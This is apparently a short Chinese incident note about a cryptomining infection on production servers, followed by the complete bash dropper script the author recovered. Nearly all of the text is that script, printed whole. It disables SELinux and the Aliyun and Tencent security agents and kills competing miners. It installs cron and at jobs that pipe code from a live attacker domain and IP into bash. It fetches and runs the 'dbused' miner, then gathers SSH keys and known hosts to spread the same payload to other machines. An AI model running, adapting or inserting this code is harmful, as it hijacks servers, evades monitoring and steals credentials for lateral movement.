挖矿脚本(仅学习分析用)

生产服务器碰到过一次异常,核心N多台机器,CPU直接飙满,发现叫 dbused 异常进程,获取到有个进程一直在访问一个远程脚本,脚本内容如下:

#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -u 50000
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

if ps aux | grep -i '[a]liyun'; then
  (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

chattr -ai /tmp/dbused

if [ -s /usr/bin/ifconfig ];
then
    range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
    range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        dns=""
else
        dns="-d"
fi

if [ $(ping -c 1 a.oracleservice.top 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        url="http://a.oracleservice.top"
else
        url="http://80.71.158.96"
fi

echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *    (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *    (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

DIR="/tmp"
cd $DIR

if [ -a "/tmp/dbused" ]
then
    if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
            echo $sum
            case $sum in
                dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                    echo "x86_64 OK"
                ;;
                *)
                    echo "x86_64 wrong"
                    rm -rf /usr/local/lib/libkk.so
                    echo "" > /etc/ld.so.preload
                    pkill -f wc.conf
                    pkill -f susss
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/tmp" ]
    then
        DIR="/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/.sh/dbused" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi

get() {
  chattr -i $2; rm -rf $2
  wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
  chmod +x $2
}

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/dbused ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                echo "x86_64 OK"
            ;;
            *)
                echo "x86_64 wrong"
                sizeBefore=$(du $DIR/x86_64)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                download
                sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
                echo "x86_64 OK"
                cp $DIR/x86_643 $DIR/x86_64
                        cp $DIR/x86_643 $DIR/x86_64
            ;;
            *)
                echo "x86_64 wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    get $url/$(uname -m) "$DIR"/dbused
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
                echo "x86_64 OK"
                cp $DIR/x86_64 $DIR/x86_643
            ;;
            *)
                echo "x86_64 wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        get $url/$(uname -m) "$DIR"/dbused
        chmod +x "$DIR"/dbused
        "$DIR"/dbused -c $dns
        "$DIR"/dbused -pwn
        sleep 5
    else
    echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge
else
     echo "Running"
fi

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    get $url/bashirc.$(uname -m) "$DIR"/bashirc
    chmod 777 "$DIR"/bashirc
    "$DIR"/bashirc
else
    echo "Running"
fi

cronbackup() {
pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"
status=0
crona=$(systemctl is-active cron)
cronb=$(systemctl is-active crond)
cronatd=$(systemctl is-active atd)
if [ "$crona" == "active" ] ; then
echo "cron okay"
elif [ "$cronb" == "active" ]; then
echo "cron okay"
elif [ "$cronatd" == "active" ] ; then
status=1
else
status=2
fi
if [ $status -eq 1 ] ; then
for a in $(at -l|awk '{print $1}'); do at -r $a; done
echo "$pay" | at -m now + 1 minute
fi
if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
  arr[0]="/dev/shm"
  arr[1]="/tmp"
  arr[2]="/var/tmp"
  arr[3]="/home/$(whoami)"
  arr[4]="/run/user/$(echo $UID)"
  arr[5]="/run/user/$(echo $UID)/systemd"
  rand=$[$RANDOM % ${#arr[@]}]
echo "Setting up custom backup"
ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9
key="while true; do sleep 60 && $pay; done"
echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner
nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
sleep 15
rm -rf ${arr[$rand]}/cruner
fi
}
cronbackup

if crontab -l | grep -q "$url"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
    for host in $hostlist; do
        for key in $keylist; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
        done
    done
done

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down